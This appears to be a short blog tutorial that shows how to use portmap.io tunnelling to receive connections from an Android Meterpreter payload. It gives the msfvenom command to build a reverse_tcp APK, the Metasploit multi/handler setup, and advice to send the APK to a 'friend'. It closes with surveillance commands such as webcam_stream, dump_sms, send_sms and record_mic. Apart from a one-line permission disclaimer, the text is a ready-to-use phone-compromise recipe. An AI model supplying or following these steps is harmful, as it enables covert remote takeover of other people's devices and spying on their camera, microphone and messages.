Resolve port forwarding issues using portmap.io

Vinayak Dubey
3 min readAug 6, 2020

In this tutorial I shall teach you how to use portmap.io to forward ports to your system over the internet.

Welcome fellow white hats. You tried forwarding ports by changing your router configuration and that didn’t work? There are a lot of reasons why port forwarding is giving you a headache. And those hours of stackexchange articles did no good either.

Please keep in mind to hack responsibly and only with the permission of the owner of the system.

Prerequisites

  1. Kali linux (preferably. Other OS will work but you will have to install all the tools by yourself)
  2. Metasploit Framework
  3. A friend willing to get hacked for the sake of your experiments. (this is the hardest to find as hackers don’t have friends)

creating a port forwarding rule

  1. Go to portmap.io, then sign up and log in to the website.
  2. Go to the configurations tab and create a new configuration. then select the protocol and name the configuration, save the configuration and download the configuration file.
we will be using tcp protocol in this lecture

3. Then use this command to install openVPN, through which, we will be connecting to the portmap.io service. (take note of the command to start the tunnel. it will be used later)

sudo apt-get install openvpn

4. go to the mapping rules tab and create a new mapping rule

configure the mapping rule to your choice. here, we can only manipulate the configuration and port on your PC fields.

take a note of the port on portmap.io. we will use this port in the payload creation part.

copy the highlighted part of the rule

5. open terminal and write the following command to find out the IP address that your payload will send data to.

ping <highlighted_part_of_the_rule>

creating the payload

open terminal and write the following command to create an apk file payload for android systems.

msfvenom -p android/meterpreter/reverse_tcp LHOST = <ip_address_of_portmap> LPORT = <port_on_portmap> -o name.apk

send this file to your friend

Lets get cracking

  1. now start the openVPN tunnel by using the command we talked about earlier in step 3 of the creating port forwarding rule step.
your tunnel will be initialised

2. open another terminal session and enter the command “ifconfig”. now copy the IP address of the tun0 interface.

msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <tun0_ip>
set LPORT <port_on_pc>
exploit -j -z
your screen should look somewhat like this

now ask your friend to install and run the APK file that you sent, and that’s it! you’re done!

post exploitation

Play around with your victim in the meterpreter shell. some of my favourite commands are

shell
webcam_stream
dump_sms
send_sms
record_mic

type help or ‘?’ to get a complete list of commands

that was all for this tutorial, see you next time

--

--